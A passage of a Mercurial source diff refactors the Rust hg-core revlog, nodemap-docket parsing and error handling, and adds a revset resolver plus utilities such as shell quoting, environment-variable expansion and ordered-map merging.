Rev(1)}]); - assert_eq!(nt.find_hex(&idx, "1")?, Some(1)); - assert_eq!(nt.find_hex(&idx, "12")?, Some(1)); - assert_eq!(nt.find_hex(&idx, "1234de")?, Some(1)); - assert_eq!(nt.find_hex(&idx, "1a")?, None); - assert_eq!(nt.find_hex(&idx, "ab")?, None); + assert_eq!(nt.find_bin(&idx, hex("1"))?, Some(1)); + assert_eq!(nt.find_bin(&idx, hex("12"))?, Some(1)); + assert_eq!(nt.find_bin(&idx, hex("1234de"))?, Some(1)); + assert_eq!(nt.find_bin(&idx, hex("1a"))?, None); + assert_eq!(nt.find_bin(&idx, hex("ab"))?, None); // and with full binary Nodes assert_eq!(nt.find_node(&idx, idx.get(&1).unwrap())?, Some(1)); @@ -861,12 +812,12 @@ let nt = sample_nodetree(); - assert_eq!(nt.find_hex(&idx, "0"), Err(MultipleResults)); - assert_eq!(nt.find_hex(&idx, "01"), Ok(Some(9))); - assert_eq!(nt.find_hex(&idx, "00"), Err(MultipleResults)); - assert_eq!(nt.find_hex(&idx, "00a"), Ok(Some(0))); - assert_eq!(nt.unique_prefix_len_hex(&idx, "00a"), Ok(Some(3))); - assert_eq!(nt.find_hex(&idx, "000"), Ok(Some(NULL_REVISION))); + assert_eq!(nt.find_bin(&idx, hex("0")), Err(MultipleResults)); + assert_eq!(nt.find_bin(&idx, hex("01")), Ok(Some(9))); + assert_eq!(nt.find_bin(&idx, hex("00")), Err(MultipleResults)); + assert_eq!(nt.find_bin(&idx, hex("00a")), Ok(Some(0))); + assert_eq!(nt.unique_prefix_len_bin(&idx, hex("00a")), Ok(Some(3))); + assert_eq!(nt.find_bin(&idx, hex("000")), Ok(Some(NULL_REVISION))); } #[test] @@ -884,13 +835,13 @@ root: block![0: Block(1), 1:Block(3), 12: Rev(2)], masked_inner_blocks: 1, }; - assert_eq!(nt.find_hex(&idx, "10")?, Some(1)); - assert_eq!(nt.find_hex(&idx, "c")?, Some(2)); - assert_eq!(nt.unique_prefix_len_hex(&idx, "c")?, Some(1)); - assert_eq!(nt.find_hex(&idx, "00"), Err(MultipleResults)); - assert_eq!(nt.find_hex(&idx, "000")?, Some(NULL_REVISION)); - assert_eq!(nt.unique_prefix_len_hex(&idx, "000")?, Some(3)); - assert_eq!(nt.find_hex(&idx, "01")?, Some(9)); + assert_eq!(nt.find_bin(&idx, hex("10"))?, Some(1)); + assert_eq!(nt.find_bin(&idx, hex("c"))?, Some(2)); + assert_eq!(nt.unique_prefix_len_bin(&idx, hex("c"))?, Some(1)); + assert_eq!(nt.find_bin(&idx, hex("00")), Err(MultipleResults)); + assert_eq!(nt.find_bin(&idx, hex("000"))?, Some(NULL_REVISION)); + assert_eq!(nt.unique_prefix_len_bin(&idx, hex("000"))?, Some(3)); + assert_eq!(nt.find_bin(&idx, hex("01"))?, Some(9)); assert_eq!(nt.masked_readonly_blocks(), 2); Ok(()) } @@ -923,14 +874,14 @@ &self, prefix: &str, ) -> Result, NodeMapError> { - self.nt.find_hex(&self.index, prefix) + self.nt.find_bin(&self.index, hex(prefix)) } fn unique_prefix_len_hex( &self, prefix: &str, ) -> Result, NodeMapError> { - self.nt.unique_prefix_len_hex(&self.index, prefix) + self.nt.unique_prefix_len_bin(&self.index, hex(prefix)) } /// Drain `added` and restart a new one @@ -1108,7 +1059,7 @@ let (_, bytes) = idx.nt.into_readonly_and_added_bytes(); // only the root block has been changed - assert_eq!(bytes.len(), BLOCK_SIZE); + assert_eq!(bytes.len(), size_of::()); // big endian for -2 assert_eq!(&bytes[4..2 * 4], [255, 255, 255, 254]); // big endian for -6 diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/revlog/nodemap_docket.rs --- a/rust/hg-core/src/revlog/nodemap_docket.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/revlog/nodemap_docket.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,5 +1,7 @@ +use crate::errors::{HgError, HgResultExt}; +use crate::requirements; +use bytes_cast::{unaligned, BytesCast}; use memmap::Mmap; -use std::convert::TryInto; use std::path::{Path, PathBuf}; use super::revlog::RevlogError; @@ -13,6 +15,16 @@ // TODO: keep here more of the data from `parse()` when we need it } +#[derive(BytesCast)] +#[repr(C)] +struct DocketHeader { + uid_size: u8, + _tip_rev: unaligned::U64Be, + data_length: unaligned::U64Be, + _data_unused: unaligned::U64Be, + tip_node_size: unaligned::U64Be, +} + impl NodeMapDocket { /// Return `Ok(None)` when the caller should proceed without a persistent /// nodemap: @@ -27,83 +39,71 @@ repo: &Repo, index_path: &Path, ) -> Result, RevlogError> { + if !repo + .requirements() + .contains(requirements::NODEMAP_REQUIREMENT) + { + // If .hg/requires does not opt it, don’t try to open a nodemap + return Ok(None); + } + let docket_path = index_path.with_extension("n"); - let docket_bytes = match repo.store_vfs().read(&docket_path) { - Err(e) if e.kind() == std::io::ErrorKind::NotFound => { - return Ok(None) - } - Err(e) => return Err(RevlogError::IoError(e)), - Ok(bytes) => bytes, + let docket_bytes = if let Some(bytes) = + repo.store_vfs().read(&docket_path).io_not_found_as_none()? + { + bytes + } else { + return Ok(None); }; - let mut input = if let Some((&ONDISK_VERSION, rest)) = + let input = if let Some((&ONDISK_VERSION, rest)) = docket_bytes.split_first() { rest } else { return Ok(None); }; - let input = &mut input; - let uid_size = read_u8(input)? as usize; - let _tip_rev = read_be_u64(input)?; + /// Treat any error as a parse error + fn parse(result: Result) -> Result { + result.map_err(|_| { + HgError::corrupted("nodemap docket parse error").into() + }) + } + + let (header, rest) = parse(DocketHeader::from_bytes(input))?; + let uid_size = header.uid_size as usize; // TODO: do we care about overflow for 4 GB+ nodemap files on 32-bit // systems? - let data_length = read_be_u64(input)? as usize; - let _data_unused = read_be_u64(input)?; - let tip_node_size = read_be_u64(input)? as usize; - let uid = read_bytes(input, uid_size)?; - let _tip_node = read_bytes(input, tip_node_size)?; - - let uid = - std::str::from_utf8(uid).map_err(|_| RevlogError::Corrupted)?; + let tip_node_size = header.tip_node_size.get() as usize; + let data_length = header.data_length.get() as usize; + let (uid, rest) = parse(u8::slice_from_bytes(rest, uid_size))?; + let (_tip_node, _rest) = + parse(u8::slice_from_bytes(rest, tip_node_size))?; + let uid = parse(std::str::from_utf8(uid))?; let docket = NodeMapDocket { data_length }; let data_path = rawdata_path(&docket_path, uid); - // TODO: use `std::fs::read` here when the `persistent-nodemap.mmap` + // TODO: use `vfs.read()` here when the `persistent-nodemap.mmap` // config is false? - match repo.store_vfs().mmap_open(&data_path) { - Ok(mmap) => { - if mmap.len() >= data_length { - Ok(Some((docket, mmap))) - } else { - Err(RevlogError::Corrupted) - } + if let Some(mmap) = repo + .store_vfs() + .mmap_open(&data_path) + .io_not_found_as_none()? + { + if mmap.len() >= data_length { + Ok(Some((docket, mmap))) + } else { + Err(HgError::corrupted("persistent nodemap too short").into()) } - Err(error) => { - if error.kind() == std::io::ErrorKind::NotFound { - Ok(None) - } else { - Err(RevlogError::IoError(error)) - } - } + } else { + // Even if .hg/requires opted in, some revlogs are deemed small + // enough to not need a persistent nodemap. + Ok(None) } } } -fn read_bytes<'a>( - input: &mut &'a [u8], - count: usize, -) -> Result<&'a [u8], RevlogError> { - if let Some(start) = input.get(..count) { - *input = &input[count..]; - Ok(start) - } else { - Err(RevlogError::Corrupted) - } -} - -fn read_u8<'a>(input: &mut &[u8]) -> Result { - Ok(read_bytes(input, 1)?[0]) -} - -fn read_be_u64<'a>(input: &mut &[u8]) -> Result { - let array = read_bytes(input, std::mem::size_of::())? - .try_into() - .unwrap(); - Ok(u64::from_be_bytes(array)) -} - fn rawdata_path(docket_path: &Path, uid: &str) -> PathBuf { let docket_name = docket_path .file_name() diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/revlog/revlog.rs --- a/rust/hg-core/src/revlog/revlog.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/revlog/revlog.rs Tue Apr 20 11:01:06 2021 -0400 @@ -11,22 +11,39 @@ use zstd; use super::index::Index; -use super::node::{NodePrefixRef, NODE_BYTES_LENGTH, NULL_NODE}; +use super::node::{NodePrefix, NODE_BYTES_LENGTH, NULL_NODE}; use super::nodemap; -use super::nodemap::NodeMap; +use super::nodemap::{NodeMap, NodeMapError}; use super::nodemap_docket::NodeMapDocket; use super::patch; +use crate::errors::HgError; use crate::repo::Repo; use crate::revlog::Revision; +#[derive(derive_more::From)] pub enum RevlogError { - IoError(std::io::Error), - UnsuportedVersion(u16), InvalidRevision, + /// Working directory is not supported + WDirUnsupported, /// Found more than one entry whose ID match the requested prefix AmbiguousPrefix, - Corrupted, - UnknowDataFormat(u8), + #[from] + Other(HgError), +} + +impl From for RevlogError { + fn from(error: NodeMapError) -> Self { + match error { + NodeMapError::MultipleResults => RevlogError::AmbiguousPrefix, + NodeMapError::RevisionNotInIndex(_) => RevlogError::corrupted(), + } + } +} + +impl RevlogError { + fn corrupted() -> Self { + RevlogError::Other(HgError::corrupted("corrupted revlog")) + } } /// Read only implementation of revlog. @@ -34,7 +51,7 @@ /// When index and data are not interleaved: bytes of the revlog index. /// When index and data are interleaved: bytes of the revlog index and /// data. - index: Index, + pub(crate) index: Index, /// When index and data are not interleaved: bytes of the revlog data data_bytes: Option + Send>>, /// When present on disk: the persistent nodemap for this revlog @@ -53,14 +70,12 @@ data_path: Option<&Path>, ) -> Result { let index_path = index_path.as_ref(); - let index_mmap = repo - .store_vfs() - .mmap_open(&index_path) - .map_err(RevlogError::IoError)?; + let index_mmap = repo.store_vfs().mmap_open(&index_path)?; let version = get_version(&index_mmap); if version != 1 { - return Err(RevlogError::UnsuportedVersion(version)); + // A proper new version should have had a repo/store requirement. + return Err(RevlogError::corrupted()); } let index = Index::new(Box::new(index_mmap))?; @@ -74,10 +89,7 @@ None } else { let data_path = data_path.unwrap_or(&default_data_path); - let data_mmap = repo - .store_vfs() - .mmap_open(data_path) - .map_err(RevlogError::IoError)?; + let data_mmap = repo.store_vfs().mmap_open(data_path)?; Some(Box::new(data_mmap)) }; @@ -111,13 +123,11 @@ #[timed] pub fn get_node_rev( &self, - node: NodePrefixRef, + node: NodePrefix, ) -> Result { if let Some(nodemap) = &self.nodemap { return nodemap - .find_bin(&self.index, node) - // TODO: propagate details of this error: - .map_err(|_| RevlogError::Corrupted)? + .find_bin(&self.index, node)? .ok_or(RevlogError::InvalidRevision); } @@ -130,7 +140,9 @@ let mut found_by_prefix = None; for rev in (0..self.len() as Revision).rev() { let index_entry = - self.index.get_entry(rev).ok_or(RevlogError::Corrupted)?; + self.index.get_entry(rev).ok_or(HgError::corrupted( + "revlog references a revision not in the index", + ))?; if node == *index_entry.hash() { return Ok(rev); } @@ -144,6 +156,11 @@ found_by_prefix.ok_or(RevlogError::InvalidRevision) } + /// Returns whether the given revision exists in this revlog. + pub fn has_rev(&self, rev: Revision) -> bool { + self.index.get_entry(rev).is_some() + } + /// Return the full data associated to a revision. /// /// All entries required to build the final data out of deltas will be @@ -156,8 +173,9 @@ let mut delta_chain = vec![]; while let Some(base_rev) = entry.base_rev { delta_chain.push(entry); - entry = - self.get_entry(base_rev).or(Err(RevlogError::Corrupted))?; + entry = self + .get_entry(base_rev) + .map_err(|_| RevlogError::corrupted())?; } // TODO do not look twice in the index @@ -180,7 +198,7 @@ ) { Ok(data) } else { - Err(RevlogError::Corrupted) + Err(RevlogError::corrupted()) } } @@ -290,7 +308,8 @@ b'x' => Ok(Cow::Owned(self.uncompressed_zlib_data()?)), // zstd data. b'\x28' => Ok(Cow::Owned(self.uncompressed_zstd_data()?)), - format_type => Err(RevlogError::UnknowDataFormat(format_type)), + // A proper new format should have had a repo/store requirement. + _format_type => Err(RevlogError::corrupted()), } } @@ -300,13 +319,13 @@ let mut buf = Vec::with_capacity(self.compressed_len); decoder .read_to_end(&mut buf) - .or(Err(RevlogError::Corrupted))?; + .map_err(|_| RevlogError::corrupted())?; Ok(buf) } else { let mut buf = vec![0; self.uncompressed_len]; decoder .read_exact(&mut buf) - .or(Err(RevlogError::Corrupted))?; + .map_err(|_| RevlogError::corrupted())?; Ok(buf) } } @@ -315,14 +334,14 @@ if self.is_delta() { let mut buf = Vec::with_capacity(self.compressed_len); zstd::stream::copy_decode(self.bytes, &mut buf) - .or(Err(RevlogError::Corrupted))?; + .map_err(|_| RevlogError::corrupted())?; Ok(buf) } else { let mut buf = vec![0; self.uncompressed_len]; let len = zstd::block::decompress_to_buffer(self.bytes, &mut buf) - .or(Err(RevlogError::Corrupted))?; + .map_err(|_| RevlogError::corrupted())?; if len != self.uncompressed_len { - Err(RevlogError::Corrupted) + Err(RevlogError::corrupted()) } else { Ok(buf) } diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/revset.rs --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/rust/hg-core/src/revset.rs Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,62 @@ +//! The revset query language +//! +//! + +use crate::errors::HgError; +use crate::repo::Repo; +use crate::revlog::changelog::Changelog; +use crate::revlog::revlog::{Revlog, RevlogError}; +use crate::revlog::NodePrefix; +use crate::revlog::{Revision, NULL_REVISION, WORKING_DIRECTORY_HEX}; +use crate::Node; + +/// Resolve a query string into a single revision. +/// +/// Only some of the revset language is implemented yet. +pub fn resolve_single( + input: &str, + repo: &Repo, +) -> Result { + let changelog = Changelog::open(repo)?; + + match resolve_rev_number_or_hex_prefix(input, &changelog.revlog) { + Err(RevlogError::InvalidRevision) => {} // Try other syntax + result => return result, + } + + if input == "null" { + return Ok(NULL_REVISION); + } + + // TODO: support for the rest of the language here. + + Err( + HgError::unsupported(format!("cannot parse revset '{}'", input)) + .into(), + ) +} + +/// Resolve the small subset of the language suitable for revlogs other than +/// the changelog, such as in `hg debugdata --manifest` CLI argument. +/// +/// * A non-negative decimal integer for a revision number, or +/// * An hexadecimal string, for the unique node ID that starts with this +/// prefix +pub fn resolve_rev_number_or_hex_prefix( + input: &str, + revlog: &Revlog, +) -> Result { + if let Ok(integer) = input.parse::() { + if integer >= 0 && revlog.has_rev(integer) { + return Ok(integer); + } + } + if let Ok(prefix) = NodePrefix::from_hex(input) { + if prefix.is_prefix_of(&Node::from_hex(WORKING_DIRECTORY_HEX).unwrap()) + { + return Err(RevlogError::WDirUnsupported); + } + return revlog.get_node_rev(prefix); + } + Err(RevlogError::InvalidRevision) +} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/utils.rs --- a/rust/hg-core/src/utils.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/utils.rs Tue Apr 20 11:01:06 2021 -0400 @@ -7,7 +7,12 @@ //! Contains useful functions, traits, structs, etc. for use in core. +use crate::errors::{HgError, IoErrorContext}; use crate::utils::hg_path::HgPath; +use im_rc::ordmap::DiffItem; +use im_rc::ordmap::OrdMap; +use std::cell::Cell; +use std::fmt; use std::{io::Write, ops::Deref}; pub mod files; @@ -62,10 +67,12 @@ } pub trait SliceExt { + fn trim_end_newlines(&self) -> &Self; fn trim_end(&self) -> &Self; fn trim_start(&self) -> &Self; fn trim(&self) -> &Self; fn drop_prefix(&self, needle: &Self) -> Option<&Self>; + fn split_2(&self, separator: u8) -> Option<(&[u8], &[u8])>; } #[allow(clippy::trivially_copy_pass_by_ref)] @@ -74,6 +81,13 @@ } impl SliceExt for [u8] { + fn trim_end_newlines(&self) -> &[u8] { + if let Some(last) = self.iter().rposition(|&byte| byte != b'\n') { + &self[..=last] + } else { + &[] + } + } fn trim_end(&self) -> &[u8] { if let Some(last) = self.iter().rposition(is_not_whitespace) { &self[..=last] @@ -115,6 +129,13 @@ None } } + + fn split_2(&self, separator: u8) -> Option<(&[u8], &[u8])> { + let mut iter = self.splitn(2, |&byte| byte == separator); + let a = iter.next()?; + let b = iter.next()?; + Some((a, b)) + } } pub trait Escaped { @@ -176,3 +197,287 @@ None } } + +#[cfg(unix)] +pub fn shell_quote(value: &[u8]) -> Vec { + // TODO: Use the `matches!` macro when we require Rust 1.42+ + if value.iter().all(|&byte| match byte { + b'a'..=b'z' + | b'A'..=b'Z' + | b'0'..=b'9' + | b'.' + | b'_' + | b'/' + | b'+' + | b'-' => true, + _ => false, + }) { + value.to_owned() + } else { + let mut quoted = Vec::with_capacity(value.len() + 2); + quoted.push(b'\''); + for &byte in value { + if byte == b'\'' { + quoted.push(b'\\'); + } + quoted.push(byte); + } + quoted.push(b'\''); + quoted + } +} + +pub fn current_dir() -> Result { + std::env::current_dir().map_err(|error| HgError::IoError { + error, + context: IoErrorContext::CurrentDir, + }) +} + +pub fn current_exe() -> Result { + std::env::current_exe().map_err(|error| HgError::IoError { + error, + context: IoErrorContext::CurrentExe, + }) +} + +/// Expand `$FOO` and `${FOO}` environment variables in the given byte string +pub fn expand_vars(s: &[u8]) -> std::borrow::Cow<[u8]> { + lazy_static::lazy_static! { + /// https://github.com/python/cpython/blob/3.9/Lib/posixpath.py#L301 + /// The `x` makes whitespace ignored. + /// `-u` disables the Unicode flag, which makes `\w` like Python with the ASCII flag. + static ref VAR_RE: regex::bytes::Regex = + regex::bytes::Regex::new(r"(?x-u) + \$ + (?: + (\w+) + | + \{ + ([^}]*) + \} + ) + ").unwrap(); + } + VAR_RE.replace_all(s, |captures: ®ex::bytes::Captures| { + let var_name = files::get_os_str_from_bytes( + captures + .get(1) + .or_else(|| captures.get(2)) + .expect("either side of `|` must participate in match") + .as_bytes(), + ); + std::env::var_os(var_name) + .map(files::get_bytes_from_os_str) + .unwrap_or_else(|| { + // Referencing an environment variable that does not exist. + // Leave the $FOO reference as-is. + captures[0].to_owned() + }) + }) +} + +#[test] +fn test_expand_vars() { + // Modifying process-global state in a test isn’t great, + // but hopefully this won’t collide with anything. + std::env::set_var("TEST_EXPAND_VAR", "1"); + assert_eq!( + expand_vars(b"before/$TEST_EXPAND_VAR/after"), + &b"before/1/after"[..] + ); + assert_eq!( + expand_vars(b"before${TEST_EXPAND_VAR}${TEST_EXPAND_VAR}${TEST_EXPAND_VAR}after"), + &b"before111after"[..] + ); + let s = b"before $SOME_LONG_NAME_THAT_WE_ASSUME_IS_NOT_AN_ACTUAL_ENV_VAR after"; + assert_eq!(expand_vars(s), &s[..]); +} + +pub(crate) enum MergeResult { + UseLeftValue, + UseRightValue, + UseNewValue(V), +} + +/// Return the union of the two given maps, +/// calling `merge(key, left_value, right_value)` to resolve keys that exist in +/// both. +/// +/// CC https://github.com/bodil/im-rs/issues/166 +pub(crate) fn ordmap_union_with_merge( + left: OrdMap, + right: OrdMap, + mut merge: impl FnMut(&K, &V, &V) -> MergeResult, +) -> OrdMap +where + K: Clone + Ord, + V: Clone + PartialEq, +{ + if left.ptr_eq(&right) { + // One of the two maps is an unmodified clone of the other + left + } else if left.len() / 2 > right.len() { + // When two maps have different sizes, + // their size difference is a lower bound on + // how many keys of the larger map are not also in the smaller map. + // This in turn is a lower bound on the number of differences in + // `OrdMap::diff` and the "amount of work" that would be done + // by `ordmap_union_with_merge_by_diff`. + // + // Here `left` is more than twice the size of `right`, + // so the number of differences is more than the total size of + // `right`. Therefore an algorithm based on iterating `right` + // is more efficient. + // + // This helps a lot when a tiny (or empty) map is merged + // with a large one. + ordmap_union_with_merge_by_iter(left, right, merge) + } else if left.len() < right.len() / 2 { + // Same as above but with `left` and `right` swapped + ordmap_union_with_merge_by_iter(right, left, |key, a, b| { + // Also swapped in `merge` arguments: + match merge(key, b, a) { + MergeResult::UseNewValue(v) => MergeResult::UseNewValue(v), + // … and swap back in `merge` result: + MergeResult::UseLeftValue => MergeResult::UseRightValue, + MergeResult::UseRightValue => MergeResult::UseLeftValue, + } + }) + } else { + // For maps of similar size, use the algorithm based on `OrdMap::diff` + ordmap_union_with_merge_by_diff(left, right, merge) + } +} + +/// Efficient if `right` is much smaller than `left` +fn ordmap_union_with_merge_by_iter( + mut left: OrdMap, + right: OrdMap, + mut merge: impl FnMut(&K, &V, &V) -> MergeResult, +) -> OrdMap +where + K: Clone + Ord, + V: Clone, +{ + for (key, right_value) in right { + match left.get(&key) { + None => { + left.insert(key, right_value); + } + Some(left_value) => match merge(&key, left_value, &right_value) { + MergeResult::UseLeftValue => {} + MergeResult::UseRightValue => { + left.insert(key, right_value); + } + MergeResult::UseNewValue(new_value) => { + left.insert(key, new_value); + } + }, + } + } + left +} + +/// Fallback when both maps are of similar size +fn ordmap_union_with_merge_by_diff( + mut left: OrdMap, + mut right: OrdMap, + mut merge: impl FnMut(&K, &V, &V) -> MergeResult, +) -> OrdMap +where + K: Clone + Ord, + V: Clone + PartialEq, +{ + // (key, value) pairs that would need to be inserted in either map + // in order to turn it into the union. + // + // TODO: if/when https://github.com/bodil/im-rs/pull/168 is accepted, + // change these from `Vec<(K, V)>` to `Vec<(&K, Cow)>` + // with `left_updates` only borrowing from `right` and `right_updates` from + // `left`, and with `Cow::Owned` used for `MergeResult::UseNewValue`. + // + // This would allow moving all `.clone()` calls to after we’ve decided + // which of `right_updates` or `left_updates` to use + // (value ones becoming `Cow::into_owned`), + // and avoid making clones we don’t end up using. + let mut left_updates = Vec::new(); + let mut right_updates = Vec::new(); + + for difference in left.diff(&right) { + match difference { + DiffItem::Add(key, value) => { + left_updates.push((key.clone(), value.clone())) + } + DiffItem::Remove(key, value) => { + right_updates.push((key.clone(), value.clone())) + } + DiffItem::Update { + old: (key, left_value), + new: (_, right_value), + } => match merge(key, left_value, right_value) { + MergeResult::UseLeftValue => { + right_updates.push((key.clone(), left_value.clone())) + } + MergeResult::UseRightValue => { + left_updates.push((key.clone(), right_value.clone())) + } + MergeResult::UseNewValue(new_value) => { + left_updates.push((key.clone(), new_value.clone())); + right_updates.push((key.clone(), new_value)) + } + }, + } + } + if left_updates.len() < right_updates.len() { + for (key, value) in left_updates { + left.insert(key, value); + } + left + } else { + for (key, value) in right_updates { + right.insert(key, value); + } + right + } +} + +/// Join items of the iterable with the given separator, similar to Python’s +/// `separator.join(iter)`. +/// +/// Formatting the return value consumes the iterator. +/// Formatting it again will produce an empty string. +pub fn join_display( + iter: impl IntoIterator, + separator: impl fmt::Display, +) -> impl fmt::Display { + JoinDisplay { + iter: Cell::new(Some(iter.into_iter())), + separator, + } +} + +struct JoinDisplay { + iter: Cell>, + separator: S, +} + +impl fmt::Display for JoinDisplay +where + I: Iterator, + T: fmt::Display, + S: fmt::Display, +{ + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + if let Some(mut iter) = self.iter.take() { + if let Some(first) = iter.next() { + first.fmt(f)?; + } + for value in iter { + self.separator.fmt(f)?; + value.fmt(f)?; + } + } + Ok(()) + } +} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/utils/files.rs --- a/rust/hg-core/src/utils/files.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/utils/files.rs Tue Apr 20 11:01:06 2021 -0400 @@ -17,13 +17,13 @@ use lazy_static::lazy_static; use same_file::is_same_file; use std::borrow::{Cow, ToOwned}; +use std::ffi::OsStr; use std::fs::Metadata; -use std::io::Read; use std::iter::FusedIterator; use std::ops::Deref; use std::path::{Path, PathBuf}; -pub fn get_path_from_bytes(bytes: &[u8]) -> &Path { +pub fn get_os_str_from_bytes(bytes: &[u8]) -> &OsStr { let os_str; #[cfg(unix)] { @@ -33,16 +33,24 @@ // TODO Handle other platforms // TODO: convert from WTF8 to Windows MBCS (ANSI encoding). // Perhaps, the return type would have to be Result. + os_str +} - Path::new(os_str) +pub fn get_path_from_bytes(bytes: &[u8]) -> &Path { + Path::new(get_os_str_from_bytes(bytes)) } // TODO: need to convert from WTF8 to MBCS bytes on Windows. // that's why Vec is returned. #[cfg(unix)] pub fn get_bytes_from_path(path: impl AsRef) -> Vec { + get_bytes_from_os_str(path.as_ref()) +} + +#[cfg(unix)] +pub fn get_bytes_from_os_str(str: impl AsRef) -> Vec { use std::os::unix::ffi::OsStrExt; - path.as_ref().as_os_str().as_bytes().to_vec() + str.as_ref().as_bytes().to_vec() } /// An iterator over repository path yielding itself and its ancestors. @@ -191,6 +199,12 @@ st_ctime: metadata.ctime(), } } + + pub fn is_symlink(&self) -> bool { + // This is way too manual, but `HgMetadata` will go away in the + // near-future dirstate rewrite anyway. + self.st_mode & 0170000 == 0120000 + } } /// Returns the canonical path of `name`, given `cwd` and `root` @@ -276,7 +290,13 @@ if cwd.as_ref().is_empty() { Cow::Borrowed(path.as_bytes()) } else { - let mut res: Vec = Vec::new(); + // This is not all accurate as to how large `res` will actually be, but + // profiling `rhg files` on a large-ish repo shows it’s better than + // starting from a zero-capacity `Vec` and letting `extend` reallocate + // repeatedly. + let guesstimate = path.as_bytes().len(); + + let mut res: Vec = Vec::with_capacity(guesstimate); let mut path_iter = path.as_bytes().split(|b| *b == b'/').peekable(); let mut cwd_iter = cwd.as_ref().as_bytes().split(|b| *b == b'/').peekable(); @@ -309,17 +329,6 @@ } } -/// Reads a file in one big chunk instead of doing multiple reads -pub fn read_whole_file(filepath: &Path) -> std::io::Result> { - let mut file = std::fs::File::open(filepath)?; - let size = file.metadata()?.len(); - - let mut res = vec![0; size as usize]; - file.read_exact(&mut res)?; - - Ok(res) -} - #[cfg(test)] mod tests { use super::*; diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/utils/hg_path.rs --- a/rust/hg-core/src/utils/hg_path.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/utils/hg_path.rs Tue Apr 20 11:01:06 2021 -0400 @@ -47,57 +47,68 @@ }, } -impl ToString for HgPathError { - fn to_string(&self) -> String { +impl fmt::Display for HgPathError { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match self { HgPathError::LeadingSlash(bytes) => { - format!("Invalid HgPath '{:?}': has a leading slash.", bytes) + write!(f, "Invalid HgPath '{:?}': has a leading slash.", bytes) } HgPathError::ConsecutiveSlashes { bytes, second_slash_index: pos, - } => format!( + } => write!( + f, "Invalid HgPath '{:?}': consecutive slashes at pos {}.", bytes, pos ), HgPathError::ContainsNullByte { bytes, null_byte_index: pos, - } => format!( + } => write!( + f, "Invalid HgPath '{:?}': contains null byte at pos {}.", bytes, pos ), - HgPathError::DecodeError(bytes) => { - format!("Invalid HgPath '{:?}': could not be decoded.", bytes) - } + HgPathError::DecodeError(bytes) => write!( + f, + "Invalid HgPath '{:?}': could not be decoded.", + bytes + ), HgPathError::EndsWithSlash(path) => { - format!("Audit failed for '{}': ends with a slash.", path) + write!(f, "Audit failed for '{}': ends with a slash.", path) } - HgPathError::ContainsIllegalComponent(path) => format!( + HgPathError::ContainsIllegalComponent(path) => write!( + f, "Audit failed for '{}': contains an illegal component.", path ), - HgPathError::InsideDotHg(path) => format!( + HgPathError::InsideDotHg(path) => write!( + f, "Audit failed for '{}': is inside the '.hg' folder.", path ), HgPathError::IsInsideNestedRepo { path, nested_repo: nested, - } => format!( + } => { + write!(f, "Audit failed for '{}': is inside a nested repository '{}'.", path, nested - ), - HgPathError::TraversesSymbolicLink { path, symlink } => format!( + ) + } + HgPathError::TraversesSymbolicLink { path, symlink } => write!( + f, "Audit failed for '{}': traverses symbolic link '{}'.", path, symlink ), - HgPathError::NotFsCompliant(path) => format!( + HgPathError::NotFsCompliant(path) => write!( + f, "Audit failed for '{}': cannot be turned into a \ filesystem path.", path ), - HgPathError::NotUnderRoot { path, root } => format!( + HgPathError::NotUnderRoot { path, root } => write!( + f, "Audit failed for '{}': not under root {}.", path.display(), root.display() @@ -367,7 +378,9 @@ } } -#[derive(Default, Eq, Ord, Clone, PartialEq, PartialOrd, Hash)] +#[derive( + Default, Eq, Ord, Clone, PartialEq, PartialOrd, Hash, derive_more::From, +)] pub struct HgPathBuf { inner: Vec, } @@ -408,12 +421,6 @@ } } -impl From> for HgPathBuf { - fn from(vec: Vec) -> Self { - Self { inner: vec } - } -} - impl> From<&T> for HgPathBuf { fn from(s: &T) -> HgPathBuf { s.as_ref().to_owned() diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-cpython/Cargo.toml --- a/rust/hg-cpython/Cargo.toml Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-cpython/Cargo.toml Tue Apr 20 11:01:06 2021 -0400 @@ -10,7 +10,6 @@ [features] default = ["python27"] -dirstate-tree = ["hg-core/dirstate-tree"] # Features to build an extension module: python27 = ["cpython/python27-sys", "cpython/extension-module-2-7"] @@ -22,11 +21,12 @@ python3-bin = ["cpython/python3-sys"] [dependencies] +crossbeam-channel = "0.4" hg-core = { path = "../hg-core"} libc = '*' log = "0.4.8" env_logger = "0.7.1" [dependencies.cpython] -version = "0.4.1" +version = "0.5.2" default-features = false diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-cpython/src/copy_tracing.rs --- a/rust/hg-cpython/src/copy_tracing.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-cpython/src/copy_tracing.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ use cpython::ObjectProtocol; -use cpython::PyBool; use cpython::PyBytes; use cpython::PyDict; +use cpython::PyDrop; use cpython::PyList; use cpython::PyModule; use cpython::PyObject; @@ -9,13 +9,63 @@ use cpython::PyTuple; use cpython::Python; -use hg::copy_tracing::combine_changeset_copies; use hg::copy_tracing::ChangedFiles; -use hg::copy_tracing::DataHolder; -use hg::copy_tracing::RevInfo; -use hg::copy_tracing::RevInfoMaker; +use hg::copy_tracing::CombineChangesetCopies; use hg::Revision; +use self::pybytes_with_data::PyBytesWithData; + +// Module to encapsulate private fields +mod pybytes_with_data { + use cpython::{PyBytes, Python}; + + /// Safe abstraction over a `PyBytes` together with the `&[u8]` slice + /// that borrows it. + /// + /// Calling `PyBytes::data` requires a GIL marker but we want to access the + /// data in a thread that (ideally) does not need to acquire the 